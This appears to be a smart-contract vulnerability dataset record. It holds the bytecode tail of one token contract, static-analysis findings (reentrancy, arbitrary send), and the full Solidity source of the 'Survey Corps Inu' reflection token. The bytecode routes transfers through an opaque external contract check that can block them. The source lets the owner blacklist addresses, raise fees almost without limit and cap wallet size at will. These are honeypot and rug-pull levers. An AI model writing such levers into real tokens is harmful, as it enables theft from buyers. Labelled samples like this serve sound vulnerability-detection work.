3d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1ff0ab526188b55a3899e97416ab4fa3b2ae8dacfcffa78967dbe9f32b2f21564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,538
0x6e05a9b52bef5f84f973b741fc604dbe2d91048f
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ // SPDX-License-Identifier: Unlicensed /* 鑓塵幗膂蓿f寥寢膃暠瘉甅甃槊槎f碣綮瘋聟碯颱亦尓㍍i:i:i;;:;:: : : 澣幗嶌塹傴嫩榛畝皋i袍耘蚌紕欒儼巓襴踟篁f罵f亦尓㍍i:i:i;;:;:: : : 漲蔭甃縟諛f麭窶膩I嶮薤篝爰曷樔黎㌢´  `ⅷ踟亦尓㍍i:i:i;;:;:: : : 蔕漓滿f蕓蟇踴f歙艇艀裲f睚鳫巓襴骸     贒憊亦尓㍍i:i:i;;:;:: : : 榊甃齊爰f懈橈燗殪幢緻I翰儂樔黎夢'”    ,ィ傾篩縒亦尓㍍i:i:i;;:;:: : : 箋聚蜚壊劑薯i暹盥皋袍i耘蚌紕偸′    雫寬I爰曷f亦尓㍍i:i:i;;:;:: : : 銕颱麼寰篝螂徑悗f篝嚠篩i縒縡齢       Ⅷ辨f篝I鋗f亦尓㍍i:i:i;;:; : : . 碯聟f綴麼辨螢f璟輯駲f迯瓲i軌帶′     `守I厖孩f奎亦尓㍍i:i:i;;:;:: : : . 綮誣撒f曷磔瑩德f幢儂儼巓襴緲′          `守枢i磬廛i亦尓㍍i:i:i;;:;:: : : . 慫寫廠徑悗緞f篝嚠篩I縒縡夢'´              `守峽f徑悗f亦尓㍍i:i:i;;:;:: : : . 廛僵I數畝篥I熾龍蚌紕襴緲′             ‘守畝皋弊i劍亦尓㍍i:i:i;;:;:: : : . 瘧i槲瑩f枢篝磬曷f瓲軌揄′             ,gf毯綴徑悗嚠迩忙亦尓㍍i:i:i;;:;:: : : 襴罩硼f艇艀裲睚鳫襴鑿緲'               奪寔f厦傀揵猯i爾迩忙亦尓㍍i:i:i;;:; 椈棘斐犀耋絎絲絨緲′                     ”'罨悳萪f蒂渹幇f廏迩忙i亦尓㍍ 潁樗I瘧德幢i儂巓緲′                   r㎡℡〟”'罨椁裂滅楔滄愼愰迩忙亦 翦i磅艘溲I搦儼巓登zzz zzz㎜㎜ァg    緲 g    甯體i爺ゎ。, ”'罨琥焜毳徭i嵬塰慍絲 枢篝磬f曷迯i瓲軌f襴暹 甯幗緲 ,fi'   緲',纜。  贒i綟碕碚爺ゎ。 ”'罨皴發傲亂I黹靱 緞愾慊嵬嵯欒儼巓襴驫 霤I緲 ,緲   ",纜穐  甯絛跨飩i髢馳爺ゎ。`'等誄I筴碌I畷 罩硼I蒻筵硺艇艀i裲睚亀 篳'’,緲  g亀 Ⅶil齢  贒罩硼i艇艀裲睚鳫爺靠飭蛸I裘裔 椈f棘豢跫跪I衙絎絲絨i爺i㎜iⅣ   ,緲i亀 Ⅶ靈,  甯傅喩I揵揚惹屡絎痙棏敞裔筴敢 頬i鞏褂f跫詹雋髢i曷迯瓲軌霤   ,緲蔭穐 Ⅶ穐   讎椈i棘貅f斐犀耋f絎絲觚f覃黹黍 襴蔽戮貲艀舅I肅肄肆槿f蝓Ⅷ   緲$慚I穐,疊穐  甯萪碾f鋗輜靠f誹臧鋩f褂跫詹i雋 鋐篆f瘧蜑筴裔罩罧I緜孵蓼Ⅷ  i鷆嫩槞i歉皸鱚  冑縡諛諺彙溘嵳勠尠錣綴麼辨螢 In Attack on Titan, the Survey Corps (調査兵団) was the branch of the Military most actively involved in direct Titan combat, Titan study, human expansion, and outside exploration. In this cryptocurrency driven world, Survey Corp Inu would be the investigation unit to monitor each and every project on the market. We mainly consist of 2 branches. The investment unit and military unit. Our investment unit will locate nice and creative projects and use the investment pool fund to invest into all the nice projects. All the profits we gain will be fairly distributed to every holder through reflection and community rewards. Our military unit aims to destroy and stop all the scammers and ruggers in the market in order to make this crypto currency world clean again. We will work as a team, corporate and gather all the information just like the survey corp in Attack of Titan. https://t.me/surveycorpinu https://surveycorpinu.com */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SCINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Survey Corps Inu"; string private constant _symbol = "SCINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
